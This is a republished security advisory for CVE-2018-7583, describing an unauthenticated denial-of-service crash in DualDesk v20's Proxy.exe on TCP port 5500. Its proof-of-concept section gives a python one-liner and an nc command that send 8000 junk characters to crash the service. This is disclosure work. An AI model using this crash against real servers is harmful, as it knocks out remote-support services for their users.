首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
DualDesk 20 - 'Proxy.exe' Denial of Service
来源:hyp3rlinx.altervista.org 作者:hyp3rlinx 发布时间:2018-03-05  
[+] Credits: John Page (aka hyp3rlinx)     
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security         
 
 
Vendor:
===============
www.dualdesk.com
 
 
 
Product:
===========
DualDesk v20
 
DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration.
 
 
 
Vulnerability Type:
===================
Denial Of Service
 
 
 
CVE Reference:
==============
CVE-2018-7583
 
 
Security Issue:
================
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application
which listens on TCP Port 5500 by sending a long string of junk chars.
 
(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404          add     esp,4
 
 
Exploit/POC:
=============
Start the Dualdesk Run Proxy as Application.
 
C:\>python -c "print 'a'*8000" > crash.txt
 
C:\>type crash.txt | nc.exe localhost 5500
 
Crash!!!
 
 
Network Access:
===============
Remote
 
 
 
Severity:
=========
Medium
 
 
 
Disclosure Timeline:
=============================
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure
 
 
 
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·SEGGER embOS/IP FTP Server 3.2
·NETGEAR Magic telnetd Enabler
·IrfanView 4.50 Email Plugin -
·IrfanView 4.44 Email Plugin -
·ActivePDF Toolkit Code Executi
·Sony Playstation 4 (PS4) 4.07
·Apple iOS 11.2.5 / watchOS 4.2
·Concrete5 < 8.3.0 - Username /
·Microsoft Windows Windows 8.1/
·GetGo Download Manager 5.3.0.2
·Sony Playstation 4 4.55 FW - L
·Asterisk 15.2.0 chan_pjsip INV
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved